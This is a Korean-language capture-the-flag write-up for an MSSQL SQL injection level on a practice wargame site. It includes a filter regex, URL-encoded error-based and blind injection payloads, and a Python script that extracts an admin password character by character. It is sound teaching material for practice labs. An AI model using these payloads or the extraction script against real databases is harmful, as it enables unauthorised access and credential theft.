nessie
이번 문제는 다시 DB 종류가 바뀌어서 MSSQL DB에 대한 문제다.

id 파라미터에 홑따옴표(‘)를 입력하니 “ODBC Driver 17 for SQL Server” 라는 에러 메시지가 출력됐다.
아.. ERROR-BASED SQLi 를 하라는 것 같다. (BLIND SQLi 도 가능해보인다.)

일단 MSSQL에서 쿼리 실행 시 오류를 유발하기 위해 아래 URL을 참고하여 공격 구문을 삽입하였다.
- https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/blob/main/MSSQL%20-%20Error%20Based%20SQLi/README.md#dumping-database-boolean-string
mssql_error(sqlsrv_errors()) 에 의해 오류 정보가 반환되며 @@version 정보가 출력됨을 볼 수 있다.
( 여기서 CONVERT(int,user) 함수 실행 시user문자열을 정수형으로 변환할 수 없기 때문에 에러가 발생한다. )

ERROR-BASED SQLi 만으로 문제를 풀어보려고 했으나 아래 문자들이 필터링 되고 있어 바로 테이블명을 확인하는 건 어려울 것 같았다.
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
오류를 유발하면 에러 코드가 발생하는 건 동일하기 때문에, Blind SQLi 공격을 진행해보자.
공격 페이로드는 아래와 같다. “admin” 계정의 패스워드 길이는 16으로 확인됐다.
(정말 “admin” 계정의 패스워드가 16인지 확인을 해보자)
(페이로드) ?id=%27%20OR%20id=%27admin%27%20AND%20(CASE%20WHEN%20LEN(pw)=16%20THEN%201%20ELSE%20CONVERT(INT,%20@@version)%20END)%20=%201%20--+

이 사이트(https://sqltest.net/)는 DBMS 별로 쿼리문을 테스트 할 수 있는 온라인 사이트다.
아래 쿼리문에서 볼 수 있듯이, MSSQL에서도 테이블에 저장된 데이터를 조회할 때 기본적으로 대소문자 구분을 안 한다. 때문에, “admin”, “Admin” 이라는 계정이 존재하면 “admin / Admin” 계정이 둘 다 조회된다.

필자는 처음에 아래와 같은 페이로드를 사용하여 “admin” 계정의 패스워드 추출을 시도했다.
그러나 이와 같이 페이로드를 작성할 경우 prob_nessie 테이블에 동일한 이름의 id 가 저장되어 있는 경우
id='admin' 조건에서 조회된 행의 “id” 값이 “admin” 일 수도 있고 “Admin” 일 수도 있었다.
( 백만번 돌려도 1123891a122f1b3e 결과가 나왔는데, 이건 “admin” 계정의 패스워드가 아니었다. 1123891a122f1b3e 는 실제 Admin 계정의 패스워드도 아니다. 왜냐하면 조회된 행이 1개가 아니라 여러 개이면 조건(ASCII(SUBSTRING(pw,1,1))<{임의 숫자})을 만족하는 모든 행을 대상으로 비밀번호 추출이 진행되기 때문이다. 예를 들어 “admin, Admin” 계정의 패스워드가 각각 01…, 12… 로 시작한다면 0은 ASCII 코드로 48이고 1은 49이다. 이 때, ASCII(SUBSTRING(pw,1,1))<{임의 숫자} 를 만족하는 모든 행을 찾게 되므로 특정 행의 패스워드가 아니라 항상 더 작은 값을 갖는 행의 패스워드를 조회하게 된다.
(페이로드) ?id=asdadasadas%27%20OR%20id=%27admin%27%20AND%20(CASE%20WHEN%20ASCII(SUBSTRING(pw,{i},1))<{mid}%20THEN%20CONVERT(INT,@@version)%20ELSE%201%20END)=1--+
따라서, ASCII 함수로 한 땀 한 땀 “admin” 과 정확히 일치하는 행에 대해서 패스워드를 추출하는 방식으로 수정했다.
import requests
import time
t_url = 'https://los.rubiya.kr/chall/nessie_7c5b5d8119ce2951f2a4f2b3a1824dd2.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(1, 17):
low = 1
high = 129
while low <= high:
mid = (low + high) // 2
print(low, mid, high)
payload = ( f"?id=%27%20OR%20(ASCII(SUBSTRING(id,1,1))=97%20AND%20ASCII(SUBSTRING(id,2,1))=100%20AND%20ASCII(SUBSTRING(id,3,1))=109%20AND%20ASCII(SUBSTRING(id,4,1))=105%20AND%20ASCII(SUBSTRING(id,5,1))=110)%20AND%20(CASE%20WHEN%20ASCII(SUBSTRING(pw,{i},1))<{mid}%20THEN%20CONVERT(INT,@@version)%20ELSE%201%20END)=1--" )
r = requests.get(t_url + payload, cookies=cookie)
if "ODBC Driver 17 for SQL Server" in r.text:
high = mid - 1
else:
low = mid + 1
if low > high:
password = password + chr(high)
numValue = numValue + str(high) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break
'''실행 결과
Extracted admins password :
[+] 49 49 53 100 56 100 49 97 52 50 50 102 49 102 51 101
[+] 115d8d1a422f1f3e
'''추출한 패스워드를 입력하면 이번 문제도 클리어 성공이다.

🐛.. 🐛.. 🐛..
번외
이번 문제는 에러 발생 시 에러 관련 정보를 출력해주고 있었다. 이 점을 이용하면 매우 쉽게 정답을 구할 수 있다.
prob_nessie 테이블에 저장된 pw 컬럼의 타입은 VARCHAR 이나, 입력된 값이 정수형이라 오류가 발생한다.
이 때, id 값이 ‘admin’ 에 해당하는 행을 바로 조회하면 패스워드 값으로 “5b23a92c1cbf4b8e” 가 출력된다.
이 값은 “admin” 계정이 아니라 대소문자가 섞인 “admin” 일 것으로 추측하고 있다.

(DB에 “admin” 검색 시 조회되는 행이 2개라고 가정하고 테스트를 해보자)
아래 페이로드를 전달하면 id 컬럼 값이 대/소문자 섞인 어드민(“admin” )인 행은 제외되고 계정명이 “admin” 인 행만 조회된다.
이 때 패스워드(pw) 자료형을 잘못 입력해 에러를 유발하면 그 행의 pw 값이 추출된다.
(페이로드) ?id='admin' and pw='1' OR id='admin' AND pw=1

블라인드 SQL 인젝션으로 값을 구했던 것처럼 id 컬럼에 저장된 값이 정확히 “admin” 인 행을 설정한 뒤에
오류를 유발해도 동일한 결과가 출력되는 것을 확인할 수 있다.
